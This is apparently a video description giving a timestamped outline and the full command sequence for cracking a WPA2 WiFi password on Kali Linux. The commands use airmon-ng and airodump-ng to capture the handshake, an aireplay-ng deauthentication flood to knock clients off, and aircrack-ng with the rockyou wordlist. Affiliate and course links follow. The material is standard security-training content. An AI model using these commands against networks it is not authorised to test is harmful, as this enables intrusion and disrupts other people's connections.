#251: David Bombal: Crunch

Full process using Kali Linux to crack WiFi passwords. I discuss network adapters, airmon-ng, airodump-ng, aircrack-ng and more in this video. Menu: Use airmon-ng to crack WiFi networks: 0:00​ Network Adapter to use: 0:46​ Kali Linux setup: 1:20​ Plug in network adapter: 1:35​ Verify that network adapter is recognized by Kali Linux: 2:04​ WPA2 network to crack: 2:43​ iwconfig: 3:27​ Kali Version: 3:34​ Kill conflicting processes with airmon-ng: 3:55​ Put interface into monitor mode: 4:32​ Discover WiFi Networks with airodump-ng: 5:15​ Use airodump-ng to view only one network: 6:20​ Connect to network using an iPhone: 6:39​ airodump-ng capture WPA2 four way handshake: 6:58​ Use aireplay-ng to deauthenticate clients: 7:25​ WPA2 four way handshake captured: 8:08​ Use Wireshark to view WPA2 four way handshake: 8:38​ Put interface back into managed mode: 9:30​ Crack WPA2 password with aircrack-ng: 10:10​ Password cracked: 11:00​ WiFi router WPA2 settings: 12:00​ Summary: 12:40​ ================ Network Adapters: ================ Alfa AWUS036NHA: amzn.to/3qbQGKN ​Alfa AWUSO36NH: amzn.to/3moeQiI ​ ================ Commands used: ================ ! See version of Kali cat /etc/os-release uname -a ! See interfaces ip addr iwconfig !kill processes sudo airmon-ng check kill !Start monitor mode sudo airmon-ng start wlan0 !Verify that monitor mode is used sudo airmon-ng !You could also use iwconfig to check that interface is in monitor mode: iwconfig ! Get the AP's MAC address and channel sudo airodump-ng wlan0mon ! AP-MAC & channel - you need to select your own here: ESSID: 90:9A:4A:B8:F3:FB Channel used by AP for SSID: 2 !1st Window: !Make sure you replace the channel number and bssid with your own !Replace hack1 with your file name like capture1 or something sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon !2nd Window - deauth attack !Make sure you replace the bssid with your own sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon !Use Wireshark to open hack file wireshark hack1-01.cap !Filter Wireshark messages for EAPOL eapol !Stop monitor mode airmon-ng stop wlan0mon !Crack file with Rock you or another wordlist !Make sure you have rockyou in text format (unzip file on Kali) !Replace hack1-01.cap with your file name aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt ================ Connect with me: ================ Discord: discord.com/invite/usKSyzb ​Twitter: www.twitter.com/davidbombal ​Instagram: www.instagram.com/davidbombal ​LinkedIn: www.linkedin.com/in/davidbombal ​Facebook: www.facebook.com/davidbombal.co ​TikTok: tiktok.com/@davidbombal ​YouTube: www.youtube.com/davidbombal​ ================ Support me: ================ Buy my CCNA course and support me: DavidBombal.com: CCNA ($10): bit.ly/yt999ccna ​Udemy CCNA Course: bit.ly/ccnafor10dollars ​GNS3 CCNA Course: CCNA ($10): bit.ly/gns3ccna10 ​ ====================== Special Offers: ====================== Boson software: 15% discount Link: bit.ly/boson15 Code: DBAF15P